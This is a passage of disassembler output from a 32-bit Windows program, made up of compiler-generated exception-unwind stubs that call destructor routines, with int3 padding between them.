		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------


loc_4332C8:				; DATA XREF: _8C6BDE73:00438C2Co
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	eax, offset dword_438C00
		jmp	sub_430316
; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	eax, offset dword_438C58
		jmp	sub_430316
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-6Ch]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------


loc_433348:				; DATA XREF: _8C6BDE73:00438CB4o
		lea	ecx, [ebp-84h]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	eax, offset dword_438C88
		jmp	sub_430316
; ---------------------------------------------------------------------------
		db 6 dup(0CCh)
byte_43338E	db 12h dup(0CCh)	; DATA XREF: sub_40E390+1A7o
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_4333AB:				; DATA XREF: _8C6BDE73:00438D14o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401195
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_40145B
; ---------------------------------------------------------------------------
		mov	eax, offset dword_438CE8
		jmp	sub_430316
; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_4333FB:				; DATA XREF: _8C6BDE73:00438D5Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401195
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_40145B
; ---------------------------------------------------------------------------
		mov	eax, offset dword_438D30
		jmp	sub_430316
; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	eax, offset dword_438D78
		jmp	sub_430316
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	eax, offset dword_438DB0
		jmp	sub_430316
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	eax, offset dword_438DE0
		jmp	sub_430316
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_40150A
; ---------------------------------------------------------------------------


loc_4334A8:				; DATA XREF: _8C6BDE73:00438E3Co
		lea	ecx, [ebp+4]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	eax, offset dword_438E10
		jmp	sub_430316
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------


loc_4334C8:				; DATA XREF: _8C6BDE73:00438E74o
		lea	ecx, [ebp-0A4h]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-8Ch]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	eax, offset dword_438E48
		jmp	sub_430316
; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------


loc_433508:				; DATA XREF: _8C6BDE73:00438EB4o
		lea	ecx, [ebp+4]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_40150A
; ---------------------------------------------------------------------------
		mov	eax, offset dword_438E88
		jmp	sub_430316
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	eax, offset dword_438EC8
		jmp	sub_430316
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------


loc_433558:				; DATA XREF: _8C6BDE73:00438F24o
		lea	ecx, [ebp-3Ch]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------


loc_433560:				; DATA XREF: _8C6BDE73:00438F2Co
		mov	eax, [ebp-40h]
		push	eax
		call	sub_430332
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43356B:				; DATA XREF: _8C6BDE73:00438F34o
		lea	ecx, [ebp-24h]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	eax, offset dword_438EF8
		jmp	sub_430316
; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+64h]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------


loc_433598:				; DATA XREF: _8C6BDE73:00438F6Co
		lea	ecx, [ebp+4Ch]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+34h]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_430332
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, offset dword_438F40
		jmp	sub_430316
; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_4011F9
; ---------------------------------------------------------------------------


loc_4335EB:				; DATA XREF: _8C6BDE73:00438FC4o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	eax, offset dword_438F98
		jmp	sub_430316
; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------


loc_433628:				; DATA XREF: _8C6BDE73:00439004o
		mov	ecx, [ebp+14h]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+10h]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	eax, offset dword_438FD8
		jmp	sub_430316
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4Ch]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------


loc_433668:				; DATA XREF: _8C6BDE73:0043904Co
		lea	ecx, [ebp+34h]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_430332
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, offset dword_439020
		jmp	sub_430316
; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------


loc_4336B8:				; DATA XREF: _8C6BDE73:0043909Co
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	eax, offset dword_439070
		jmp	sub_430316
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------


loc_4336F8:				; DATA XREF: _8C6BDE73:004390E4o
		mov	ecx, [ebp+10h]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4390B8
		jmp	sub_430316
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4390F8
		jmp	sub_430316
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------


loc_433748:				; DATA XREF: _8C6BDE73:00439154o
		lea	ecx, [ebp-24h]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	eax, offset dword_439128
		jmp	sub_430316
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------


loc_433768:				; DATA XREF: _8C6BDE73:0043918Co
		lea	ecx, [ebp+4]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	eax, offset dword_439160
		jmp	sub_430316
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_4011F9
; ---------------------------------------------------------------------------


loc_43378B:				; DATA XREF: _8C6BDE73:004391C4o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	eax, offset dword_439198
		jmp	sub_430316
; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4391D8
		jmp	sub_430316
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	eax, offset dword_439208
		jmp	sub_430316
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------


loc_433808:				; DATA XREF: _8C6BDE73:00439264o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	eax, offset dword_439238
		jmp	sub_430316
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp+4]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+4]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-4Ch]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-48h]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-44h]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	eax, offset dword_439280
		jmp	sub_430316
; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401235
; ---------------------------------------------------------------------------


loc_4338A8:				; DATA XREF: _8C6BDE73:0043930Co
		mov	ecx, [ebp-10h]
		add	ecx, 3Eh
		jmp	sub_4013E8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 15Fh
		jmp	sub_401852
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B46h
		jmp	sub_401B72
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BBEh
		jmp	sub_401A05
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C58h
		jmp	sub_40148D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1D29h
		jmp	sub_401D4D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1E6Fh
		jmp	sub_401208
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4878Bh
		jmp	sub_401366
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 48A75h
		jmp	sub_40193D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 48A9Eh
		jmp	sub_40207C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 590AFh
		jmp	sub_401DE3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 590E1h
		jmp	sub_4010FA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5916Fh
		jmp	sub_4017BC
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 591A9h
		jmp	sub_4016C2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 591BAh
		jmp	sub_401DA7
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 592A5h
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 592BAh
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 592CFh
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 592E4h
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4392E0
		jmp	sub_430316
; ---------------------------------------------------------------------------
		db 47h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401235
; ---------------------------------------------------------------------------


loc_433A08:				; DATA XREF: _8C6BDE73:004393E4o
		mov	ecx, [ebp-10h]
		add	ecx, 3Eh
		jmp	sub_4013E8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 15Fh
		jmp	sub_401852
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B46h
		jmp	sub_401B72
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BBEh
		jmp	sub_401A05
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C58h
		jmp	sub_40148D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1D29h
		jmp	sub_401D4D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1E6Fh
		jmp	sub_401208
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4878Bh
		jmp	sub_401366
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 48A75h
		jmp	sub_40193D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 48A9Eh
		jmp	sub_40207C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 590AFh
		jmp	sub_401DE3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 590E1h
		jmp	sub_4010FA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5916Fh
		jmp	sub_4017BC
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 591A9h
		jmp	sub_4016C2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 591BAh
		jmp	sub_401DA7
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 592A5h
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 592BAh
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 592CFh
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 592E4h
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4393B8
		jmp	sub_430316
; ---------------------------------------------------------------------------
		db 47h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	eax, offset dword_439490
		jmp	sub_430316
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_4019F1
; ---------------------------------------------------------------------------


loc_433B8B:				; DATA XREF: _8C6BDE73:004394ECo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_4019F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_401EFB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_401EFB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_401EFB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_401EFB
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4394C0
		jmp	sub_430316
; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_4011F9
; ---------------------------------------------------------------------------


loc_433FBB:				; DATA XREF: _8C6BDE73:0043972Co
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 47h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 75h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	eax, offset dword_439700
		jmp	sub_430316
; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43400B:				; DATA XREF: _8C6BDE73:00439774o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0EAh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	eax, offset dword_439748
		jmp	sub_430316
; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 46808h
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43407E:				; DATA XREF: _8C6BDE73:004397CCo
		mov	ecx, [ebp-10h]
		add	ecx, 46836h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 46864h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 46892h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 468C0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4397A0
		jmp	sub_430316
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_4340EB:				; DATA XREF: _8C6BDE73:0043981Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4397F0
		jmp	sub_430316
; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43414B:				; DATA XREF: _8C6BDE73:0043986Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================



SEH_4163B0	proc near		; DATA XREF: sub_4163B0+2o
		mov	eax, offset dword_439840
		jmp	sub_430316
SEH_4163B0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43417B:				; DATA XREF: _8C6BDE73:004398A4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	eax, offset dword_439878
		jmp	sub_430316
; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
